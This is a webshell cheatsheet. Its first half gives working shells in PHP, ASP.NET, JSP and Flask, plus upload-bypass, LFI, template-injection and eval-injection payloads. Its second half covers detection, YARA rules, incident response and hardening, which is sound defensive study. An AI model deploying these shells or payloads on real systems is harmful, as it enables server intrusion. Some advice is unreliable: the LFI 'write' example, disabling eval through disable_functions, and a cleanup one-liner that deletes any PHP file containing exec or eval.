Webshells
Overview
Webshells are server-side scripts that provide remote command execution capabilities on web servers. This cheatsheet covers webshell types, deployment methods, detection techniques, and security hardening. Understanding webshells is critical for authorized penetration testing, incident response, forensics, and defensive security operations.
Common Webshell Types
PHP Webshells
Simple PHP Shell
<?php
system($_GET['cmd']);
?>
Obfuscated PHP Shell
<?php
@eval($_POST['cmd']);
?>
Feature-Rich PHP Shell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
}
?>
PHP Shell with File Upload
<?php
if($_FILES["file"]["error"] > 0) {
echo "Error: " . $_FILES["file"]["error"];
} else {
move_uploaded_file(
$_FILES["file"]["tmp_name"],
"./uploads/" . $_FILES["file"]["name"]
);
}
?>
ASP.NET Webshells
Minimal ASP.NET Shell
<%@ Page Language="C#" %>
<%
try {
System.Diagnostics.ProcessStartInfo psi =
new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Form["cmd"];
psi.RedirectStandardOutput = true;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
Response.Write(p.StandardOutput.ReadToEnd());
} catch(Exception e) {
Response.Write("Error: " + e.Message);
}
%>
JSP Webshells
Basic JSP Shell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while((line = reader.readLine()) != null) {
out.println(line);
}
%>
Python Webshells
Flask-based Python Shell
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd', '')
if cmd:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout + result.stderr
return "Shell ready"
if __name__ == '__main__':
app.run()
Webshell Deployment
File Upload Exploitation
# Bypass file type restrictions
# 1. Rename: shell.php -> shell.php.jpg
# 2. MIME type: Change Content-Type to image/jpeg
# 3. Double extension: shell.php.jpg
# 4. Null byte: shell.php%00.jpg (older systems)
curl -F "file=@shell.php" \
-H "Content-Type: image/jpeg" \
https://example.com/upload.php
Direct File Write
# If LFI vulnerability exists
# Write webshell to web directory
https://example.com/download.php?file=../../../var/www/html/shell.php
# Using PHP wrappers
https://example.com/view.php?file=php://input
# POST: <?php system($_GET['cmd']); ?>
Template Injection
# Jinja2/Mako template injection
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id').read() }}
# Twig injection
{{ _self.env.registerUndefinedFilterCallback("exec")("id") }}
Code Injection
# eval() injection
https://example.com/page.php?input=system('whoami');
# assert() injection
https://example.com/page.php?code=system($_POST['cmd']);
Webshell Detection
Signature-Based Detection
# Look for webshell filenames
find / -name "shell.php"
find / -name "cmd.php"
find / -name "c99.php"
find / -name "r57.php"
find / -name "c100.php"
Content Pattern Detection
# Search for suspicious PHP functions
grep -r "system\|exec\|passthru\|eval\|shell_exec" /var/www/
# Search for POST/GET processing
grep -r "\$_POST\|\$_GET\|\$_REQUEST" /var/www/ | grep -i "cmd\|command\|exec"
# Look for base64 encoding (obfuscation)
grep -r "base64_decode\|eval" /var/www/html/
Behavioral Detection
# Monitor process execution from web server
strace -p $(pgrep apache2) -e trace=execve
# Check web server logs for suspicious patterns
grep -i "cmd=\|exec=\|system=" /var/log/apache2/access.log
# Monitor file descriptor usage
lsof -p $(pgrep apache2) | grep -i tmp
Forensic Analysis
Metadata Examination
# Check file timestamps
stat shell.php
# File access logs
grep "shell.php" /var/log/apache2/access.log
# Last modified time
ls -la shell.php
Hash-Based Detection
# Calculate file hash
md5sum shell.php
sha256sum shell.php
# Compare against malware databases
# VirusTotal, MalwareBazaar, YARA rules
Content Analysis
import re
def analyze_webshell(filepath):
with open(filepath, 'r') as f:
content = f.read()
# Suspicious functions
suspicious = [
'system', 'exec', 'passthru', 'shell_exec',
'eval', 'assert', 'include', 'require',
'base64_decode', 'file_get_contents'
]
findings = []
for func in suspicious:
if func in content:
findings.append(func)
return findings
results = analyze_webshell('suspected_shell.php')
print(f"Found suspicious functions: {results}")
Advanced Detection
YARA Rule for Webshells
rule PHP_Webshell_System_Call {
meta:
description = "Detects PHP webshell using system()"
author = "Security Team"
strings:
$a = "system(" nocase
$b = "$_GET" nocase
$c = "$_POST" nocase
$d = "$_REQUEST" nocase
condition:
all of them
}
ASP.NET Webshell Detection
rule ASPNET_Webshell {
strings:
$a = "ProcessStartInfo" nocase
$b = "cmd.exe" nocase
$c = "Process.Start" nocase
condition:
all of them
}
Incident Response
Webshell Discovery Checklist
#!/bin/bash
echo "[*] Webshell Discovery Script"
# 1. Find recently modified PHP files
echo "[+] Recently modified PHP files:"
find /var/www -name "*.php" -mtime -7 -type f
# 2. Find new files in upload directories
echo "[+] New files in upload directories:"
find /var/www/html/uploads -type f -mtime -7
# 3. Search for suspicious content
echo "[+] Searching for eval() and system():"
grep -r "eval\|system\|exec\|passthru" /var/www/html --include="*.php"
# 4. Check file permissions
echo "[+] World-writable files:"
find /var/www -type f -perm -002
# 5. Monitor process execution
echo "[+] Recent process execution:"
journalctl -u apache2 -n 100 | grep -i "cmd\|exec\|shell"
Response Steps
# 1. Isolate affected system
# Disconnect from network or restrict connections
# 2. Preserve evidence
cp -r /var/www/html /tmp/www-backup-$(date +%s)
tar czf /tmp/www-backup.tar.gz /var/www/html
# 3. Identify entry point
grep -r "GET\|POST" /var/log/apache2/access.log | grep "upload\|file"
# 4. Remove webshells
find /var/www -type f -name "shell*.php" -delete
# 5. Verify removal
grep -r "system\|exec" /var/www/html | grep -v ".git"
# 6. Patch vulnerabilities
# - Update file upload restrictions
# - Fix LFI vulnerabilities
# - Implement WAF rules
Prevention
Web Server Hardening
# Apache: Disable PHP execution in upload directory
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .php3 .php4 .php5 .phtml
</Directory>
# Disable dangerous functions
php_admin_value disable_functions "system,exec,passthru,shell_exec,eval"
# Restrict file uploads
<FilesMatch "\.(?:php|phtml|php3|php4|php5|phps)$">
Order Deny,Allow
Deny from all
</FilesMatch>
Nginx Configuration
# Nginx: Prevent PHP execution in upload directory
location /uploads/ {
location ~ \.php$ {
return 403;
}
}
# Restrict file upload types
client_max_body_size 5M;
client_body_buffer_size 128k;
File Permissions
# Restrict web directory permissions
chmod 755 /var/www/html
chmod 644 /var/www/html/*.php
chmod 750 /var/www/html/uploads
# Prevent file modification
chattr +i /var/www/html/*.php
# Implement SELinux context
semanage fcontext -a -t httpd_sys_content_t "/var/www/html(/.*)?"
Monitoring
Real-time Webshell Detection
import os
import hashlib
import time
from pathlib import Path
def monitor_webroot(webroot_path):
"""Monitor webroot for new/modified files"""
file_hashes = {}
while True:
for filepath in Path(webroot_path).rglob('*.php'):
with open(filepath, 'rb') as f:
file_hash = hashlib.sha256(f.read()).hexdigest()
if filepath not in file_hashes:
file_hashes[filepath] = file_hash
print(f"[NEW] {filepath}")
elif file_hashes[filepath] != file_hash:
print(f"[MODIFIED] {filepath}")
file_hashes[filepath] = file_hash
time.sleep(5)
monitor_webroot('/var/www/html')
Web Access Log Monitoring
# Monitor for webshell access patterns
tail -f /var/log/apache2/access.log | grep -i "cmd=\|exec=\|system="
# Alert on suspicious patterns
grep -E "(cmd|exec|system|shell|eval)=" /var/log/apache2/access.log | \
awk '{print $1}' | sort | uniq -c | sort -rn
Common Webshell Variants
| Shell Name | Type | Features |
|---|---|---|
| c99 | PHP | File manager, terminal, SQL tools |
| c100 | PHP | Advanced file operations |
| r57 | PHP | Multi-tool, stealth options |
| Weevely | Python | Stealth shell, encryption |
| JSP Shell | JSP | Command execution, file upload |
| ASP Shell | ASP | Windows command execution |
| China Chopper | Multiple | HTTP tunnel, encryption |
Attribution Clues
# Look for:
# - Comments in non-English
# - Specific variable naming patterns
# - Obfuscation techniques
# - Hardcoded credentials
# - Tool-specific signatures
strings suspicious.php | head -20
hexdump -C suspicious.php | head -20
Cleanup and Recovery
# Remove webshells
find /var/www -type f -name "*.php" -exec sh -c '
if grep -q "system\|exec\|eval" "$1"; then
echo "Removing: $1"
rm "$1"
fi
' _ {} \;
# Restore from backup
tar xzf /backup/www-clean.tar.gz -C /var/www
# Verify integrity
tripwire --check > tripwire-report.txt
aide --check
Educational Resources
Legal Notice
Webshells are illegal tools for unauthorized system access. This information is for authorized penetration testing, incident response, and security research only. Unauthorized deployment or execution is a serious crime. Only test on systems you own or have explicit written permission to test.